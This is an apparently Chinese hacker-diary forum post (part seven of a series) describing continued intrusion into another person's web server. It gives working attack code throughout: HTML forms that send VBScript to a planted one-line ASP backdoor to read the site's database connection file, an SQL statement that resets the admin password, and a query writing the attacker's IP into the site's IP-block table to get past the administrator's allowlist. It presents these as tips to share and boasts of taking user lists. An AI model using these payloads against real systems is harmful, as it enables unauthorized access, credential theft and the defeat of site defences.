| 黑客与网管的30天的较量(七) |
| 作者:世界末日 来源:中华盾 加入时间:2006-3-21 www.cnitrc.com |
|
12月17日
对方重装了系统,所有的硬盘分区都不可写。只能读,昏倒。不能写还能做什么?你一定会问。
这里,我得严重介绍刚才一句话目马的应用了。
在本地构造提交页面fso.htm,内容如下:
<form action=http://xxxx/index.asp method=post>
<input type="hidden" name="system" value="mori">
<textarea name=o cols=120 rows=10 width=45>response.write "<textarea
rows=""9"" name=""s1"" cols=""43"">"
set FsObj=Server.CreateOBject("Scripting.FileSystemObject")
filepath="D:\www\wwwroot\conn.asp"
Set txtsObj = FsObj.openTextFile(FilePath,1,false)
if txtsObj.atEndOfStream then
Response.write "No file"
else
Response.Write txtsObj.Readall
end if
response.write "</textarea>"
</textarea> <BR><center><br>
<input type=submit value=提交></form>
'代码完成
点击提交,这样就把D:\www\wwwroot\conn.asp的内容显示了出来,呵呵。。。
得到数据库连接文件后我们可以执行任何数据库命令。
比如
conn.execute ("update admin set password='123456' where username='admin'")
改管理员密码。
这样子我还是照样可以拿他数据库的用户列表或卡哈哈。
12月22日
管理员疯了,在首页和登陆页面上把所有人的IP都禁止,只给他的客户访问,当客户联系他并且提供客户的IP地址给他的时候,他便把客户的IP写进数据库验证,偶又进不去鸟。其中,验证代码如下:
<!--#include file="conn.asp"-->
<%
'IP限制函数
dim rs,str1,str2,str3,str4,num,sip,movieip
sip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
if sip="" then sip=Request.ServerVariables("REMOTE_ADDR")
if isnumeric(left(sip,2)) then
str1=left(sip,instr(sip,".")-1)
if str1<100 then
str1=cint(str1)+300
end if
sip=mid(sip,instr(sip,".")+1)
str2=left(sip,instr(sip,".")-1)
sip=mid(sip,instr(sip,".")+1)
str3=left(sip,instr(sip,".")-1)
str4=mid(sip,instr(sip,".")+1)
if isNumeric(str1)=0 or isNumeric(str2)=0 or isNumeric(str3)=0 or isNumeric(str4)=0
then
else
num=cint(str1)*256*256*256+cint(str2)*256*256+cint(str3)*256+cint(str4)-1
set rs=conn.execute("select id from [lockip] where ip1<="&num&"
and ip2>="&num&" ")
if rs.eof and rs.bof then
movieip=1
else
movieip=0
end if
rs.close
set rs=nothing
end if
end if
'IP限制
if movieip=1 then
response.write "<script>alert('您的IP已经被限制不能访问,请和管理员联系!');</script><script>window.close();</script>"
response.end
end if
%>
呵呵,真BT,不过,你够BT,偶们也BT,行动,构造以下ip.htm代码提交:
下面的XXXXX.asp是偶另一个后门 ^_^
<form action=http://xxxx/XXXXX.asp method=post>
<input type="hidden" name="system" value="mori">
<textarea name=o cols=120 rows=10 width=45>
'以下把我的IP段按他的算法格式写入数据库,我看你牛不牛。
conn.execute ("Update lockip set ip1='365820xxxx',ip2='365820xxxx' where
id='1'")</textarea> <BR><center><br>
<input type=submit value=提交></form>
这样就可以把你的IP写到他数据库,也就可以正常访问了。哈哈!!!
至于以后偶怎么对待这个服务器,下次再写。
12月24日
这篇文章随着生蛋节而蛋生。真心希望以上的心得及代码对大家有所帮助。谢谢.....
 |
|
|